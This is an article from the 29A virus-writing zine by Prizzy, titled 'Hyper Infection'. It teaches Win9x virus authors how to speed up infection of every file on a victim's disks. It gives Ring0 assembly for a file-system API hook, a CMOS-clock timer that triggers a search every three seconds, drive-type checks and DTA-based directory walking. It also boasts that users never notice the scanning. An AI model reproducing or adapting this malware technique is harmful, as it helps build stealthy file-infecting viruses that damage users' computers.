ÚÄÄÍÍÍÍÍÍÍÍÄÄÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ÄÄÍÍÍÍÍÍÍÍÄÄ¿ : Prizzy/29A : Hyper Infection : Prizzy/29A : ÀÄÄÍÍÍÍÍÍÍÍÄÄÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÄÄÍÍÍÍÍÍÍÍÄÄÙ made in the Czech Republic When I have designed Win9x.Prizzy I wanted to infected all files in a very little time. The mainly point of the virus is infection as soon as possible. By this technique you doesn't need infect files, but you can use it for find a certain file on disks - 2nd chapter helped you with your inspiration. Index ÄÄÄÄÄ 1. The theory of searching 2. Inspirations 3. Get disk informations 3.1. Get KERNEL32 base address 3.2. Use "GetDriveTypeA" API function 4. What do for compatibility with your virus 4.1. Structures description 4.2. Hyper infection in hooking function 4.3. Differences between API and Ring0 using 5. Conclusion 1. The theory of searching ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It is impossible to searching all files without we would give time to other applications. So, I found out the best way which is: every three second active "hyper infection" and try to find new files during one second. I did a few tests and this constellation is very good. Every three second - as I said - but only, only if system works with files. 2. Inspirations ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ You can use this method to infection, to search a certain file on disk. At present I discovered new archve method where I must use this method. For more informations open "CAB Infector" in 29A or on my homepage. 3. Get disk informations ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ To searching on all disks I must know if it is for example CD-ROM where it is needless something do. In API world is "GetDriveTypeA" function and in Ring0 world is "IFSMgr_Ring0GetDriveInfo" but I do not know what certain flag means. So I used API function. 3.1. Get KERNEL32 base address ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I think it is needless describe this technique because many viruses use this method - find label "find_kernel32:" in Win9x.Prizzy virus to know more. Then we must find "GetDriveTypeA" address. 3.2. Use "GetDriveTypeA" API function ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ By this API function we can find out whether drive is: * DRIVE_FIXED - normal disk * DRIVE_REMOTE - network * DRIVE_CDROM * DRIVE_RAMDISK ...and more flags... Open "WinBase.H" file to know more, you can find it in C++ Builder or in Microsoft Visual C++. To get input parameters use Win32.HLP. 4. What do for compatibility with your virus ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I think it won't hard use this "hyper infection" in your virus. So, let us look on details. Actual second I store to BL in global api_hook. And this value I did not save anywhere. Either save this value something or don't change this register. 4.1. Structures description ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ You must use this variables: ÉÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍÍ[ Main filename buffer ]ÍÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ» º In fact you must have two buffer for filename. The first you'll º ³ have for standard operation as is "open" etc. and the second ³ ³ will be for store filename. Since 2nd filename buffer must be ³ ³ used only with "hyper searcher". Here "filename_size" means ³ ³ standard filename size - defined in "IO.H" and so on ³ ÈÍÄÍËÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍËÍÄͼ ³ filename_size equ 260 ³ ³ search_filename db filename_size dup (00h) ³ ÈÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄͼ ÉÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍÍ[ Search control ]ÍÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ» º Through "search_finished" we know if our operation has been º ³ finished. By this value we determine whether it has price call ³ ³ main search function. Value "search_start" means whether we has ³ ³ begun yet - if not, we allocate memory for dta and so on, if ³ ³ this function ain't called for the 1st time then we jump inside ³ ³ to continue there, where we finished ³ ÈÍÄÍËÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍËÍÄͼ ³ search_finished db 00h ³ ³ search_start db 00h ³ ÈÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄͼ ÉÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍÍ[ File informations ]ÍÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ» º We to know how dirs we seached we must saved all nesting in º ³ DTA structs. All searching method which I know use this method. ³ ³ How many dirs can be in dir ? I have selected 100. I must alloc ³ ³ memory for these DTAs and by nesting I will determine which DTA ³ ³ to use. Now, I will show you DTA structure: ³ ³ ³ ³ dta_struc struc ³ ³ dta_fileattr dd ? ³ ³ dta_time_creation dq ? ³ ³ dta_time_lastaccess dq ? ³ ³ dta_time_lastwrite dq ? ³ ³ dta_filesize_hi dd ? ³ ³ dta_filesize dd ? ³ ³ dta_reserved_0 dd ? ³ ³ dta_reserved_1 dd ? ³ ³ dta_filename db 260 dup (?) ³ ³ dta_filename_short db 14 dup (?) ³ ³ ends ³ ³ ³ ³ This structure is same for Win32API "FindFileFirst" as well ³ ÈÍÄÍËÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍËÍÄͼ ³ search_mem_size equ 100*(size dta+size search_address) ³ ³ search_address dd 00000000h ³ ³ dta dta_struc <00h> ³ ÈÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄͼ ÉÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍÍ[ Common values ]ÍÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ» º To get how is it dir in dir (nesting - plunge) and read certain º ³ DTA structure we use "search_plunge". And handle of the ³ ³ "FindFileFirst" function is stored in "search_handle". See on ³ º this function to the Win32 HLP for more informations º ÈÍÄÍËÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍËÍÄͼ ³ search_plunge db 00h ³ ³ search_handle dd 00000000h ³ ÈÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄͼ 4.2. Hyper infection in hooking function ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Function "hyper_infection" must be called from the global api_hook. Either in "IFSMgr_InstallFileSystemApiHook" or in "VWIN32_Int21h_Dispa- tcher". So, look at this example in Ring0: api_hook: push ebp ;C calls rules mov ebp,esp sub esp,100h pusha get_base ebx ;get delta ro EBX ; recursive call cmp byte ptr [ebx+in_ifs-virus_start],0 jnz api_hook_quit inc byte ptr [ebx+in_ifs-virus_start] ;*** active my hyper infection ? cmp byte ptr [ebx+search_finished-virus_start],0 jnz api_hook_next push ebx ;every three second run xor ax,ax ;my hyper infection; I must out 70h,al ;get time other appz in al,71h mov bl,3 ;every three second... div bl pop ebx or ah,ah ; ?? jnz api_hook_next call init_search ;hyper infication ! api_hook_next: ; test if file is "open" etc. api_hook_exit: ; disable "resursive" level mov byte ptr [ebx+in_ifs-virus_start],0 api_hook_quit: ; leave from this function 4.3. Differences between API and Ring0 using ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ At first you must change all my Ring0 call name functions. As for alloc and deallocate memory, FindFile and so on. Well, change "ffindfirst:", "ffindnext:" and "ffindclose:" functions. And it is all, nothing more. 5. Conclusion ÄÄÄÄÄÄÄÄÄÄÄÄÄ By my tests user has not any foreboding that something scans his disks. To the future I am gonna adjust the searching for more file extensions. If you have got some questions, contact me.